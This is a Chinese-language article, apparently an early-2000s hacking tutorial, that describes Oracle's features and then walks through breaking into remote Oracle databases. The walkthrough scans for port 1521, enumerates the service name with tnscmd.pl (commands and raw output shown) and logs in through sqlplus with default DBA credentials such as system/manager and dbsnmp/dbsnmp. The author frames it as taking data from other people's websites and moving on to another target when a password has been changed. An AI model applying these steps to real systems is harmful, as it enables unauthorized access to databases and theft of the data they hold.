Oracle數據庫是現在很流行的數據庫系統,很多大型網站都采用Oracle,它之所以倍受用戶喜愛是因為它有以下突出的特點:
1:支持大數據庫、多用戶的高性能的事務處理。Oracle支持最大數據庫,其大小可到幾百千兆,可充分利用硬件設備。支持大量用戶同時在同一數據上執行各種數據應用,並使數據爭用最小,保證數據一致性。系統維護具有高的性能,Oracle每天可連續24小時工作,正常的系統操作(後備或個別計算機系統故障)不會中斷數據庫的使用。可控制數據庫數據的可用性,可在數據庫級或在子數據庫級上控制。
2:Oracle遵守數據存取語言、操作系統、用戶接口和網絡通信協議的工業標准。所以它是一個開放系統,保護了用戶的投資。美國標准化和技術研究所(NIST)對Oracle7 SERVER進行檢驗,100%地與ANSI/ISO SQL89標准的二級相兼容。
3:實施安全性控制和完整性控制。Oracle為限制各監控數據存取提供系統可靠的安全性。Oracle實施數據完整性,為可接受的數據指定標准。
4:支持分布式數據庫和分布處理。Oracle為了充分利用計算機系統和網絡,允許將處理分為數據庫服務器和客戶應用程序,所有共享的數據管理由數據庫管理系統的計算機處理,而運行數據庫應用的工作站集中於解釋和顯示數據。通過網絡連接的計算機環境,Oracle將存放在多台計算機上的數據組合成一個邏輯數據庫,可被全部網絡用戶存取。分布式系統像集中式數據庫一樣具有透明性和數據一致性。
具有可移植性、可兼容性和可連接性。由於Oracle軟件可在許多不同的操作系統上運行,以致Oracle上所開發的應用可移植到任何操作系統,只需很少修改或不需修改。Oracle軟件同工業標准相兼容,包括很多工業標准的操作系統,所開發應用系統可在任何操作系統上運行。可連接性是指ORALCE允許不同類型的計算機和操作系統通過網絡可共享信息。
雖然Oracle數據庫具有很高的安全性,但是如果我們在配置的時候不注意安全意識,那麼也是很危險的。也就是說,安全最主要的還是要靠人自己,而不能過分依賴軟件來實現。
我們知道,在mssql中,安裝完成後默認有個sa的登陸密碼為空,如果不更改就會產生安全漏洞。那麼oracle呢?也有的。為了安裝和調試的方便,Oracle數據庫中的兩個具有DBA權限的用戶Sys和System的缺省密碼是manager。筆者發現很多國內網站的Oracle數據庫沒有更改這兩個用戶的密碼,其中也包括很多大型的電子商務網站, 我們就可以利用這個缺省密碼去找我們感興趣的東西。如何實現,看下面的文章吧。
進行測試前我們先來了解一些相關的知識,我們連接一個Oracle數據庫的時候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數據庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這裡我們先講講oracle的TNS listener,它位於數據庫ClIEnt和數據庫Server之間,默認監聽1521端口,這個監聽端口是可以更改的。但是如果你用一個tcp的session去連接1521端口的話,oracle將不會返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這裡我們就需要用tnscmd.pl這個perl程序了,它可以查詢遠程Oracle數據庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務名,服務狀態和數據庫服務名,而且正確率很高。
理論方面的講完了,如果還有什麼不懂的可以去查找相關資料。現在開始測試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件, Tnscmd.pl。
我們先用Superscan掃描開放了端口1521的主機,假設其IP是xx.xx.110.110,這樣目標已經有了。然後我們要做的就是用Tnscmd.pl來查詢遠程數據庫的服務名了,Tnscmd.pl的用法如下:
C:\perl\bin>perl tnscmd.pl usage: tnscmd.pl [command] -h hostname where 'command' is something like ping, version, status, etc. (default is ping) [-p port] - alternate TCP port to use (default is 1521) [--logfile logfile] - write raw packets to specifIEd logfile [--indent] - indent & outdent on parens [--rawcmd command] - build your own CONNECT_DATA string [--cmdsize bytes] - fake TNS command size (reveals packet leakage)
我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發掘吧。。。。
然後我們就這樣來:
C:\perl\bin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521 writing 91 bytes reading ._.......6.........?. .......... DESCRIPTION= TMP= VSNNUM=135286784 ERR=0 SERVICES_EXIST=1 .Q........ SERVICE= SERVICE_NAME=ORCL INSTANCE= INSTANCE_NAME=ORCL NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED SERVER STA=ready HANDLER_INFO=LOCAL SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=447278 REFUSED=0 HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/home/oracle/bin/oracle ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL' ARGV0=OracleORCL ARGS=' LOCAL=NO ' .........@
從上面得到的信息我們可以看出數據庫的服務名為ORCL,然後我們就可以通過sqlplus工具來遠程連上它了,用戶名和密碼我們用默認的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,這個默認用戶和密碼是隨版本的不同而改變的哦~~~~。
如下:
C:\oracle\ora90\BIN>sqlplus /nolog SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002 (c) Copyright 2001 Oracle Corporation. All rights reserved. SQL>connect system/manager@ (description=(address_list=(address=(protocol=tcp) (host=xx.xx.110.110)(port=1521))) (connect_data=(SERVICE_NAME=ORCL)));
如果密碼正確,那麼就會提示connected,如果不行,再換別的默認用戶名和密碼。經過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經把默認密碼改了,那我們只能換別的目標了。但是我發現很多都是不改的,這個就是安全意識的問題了。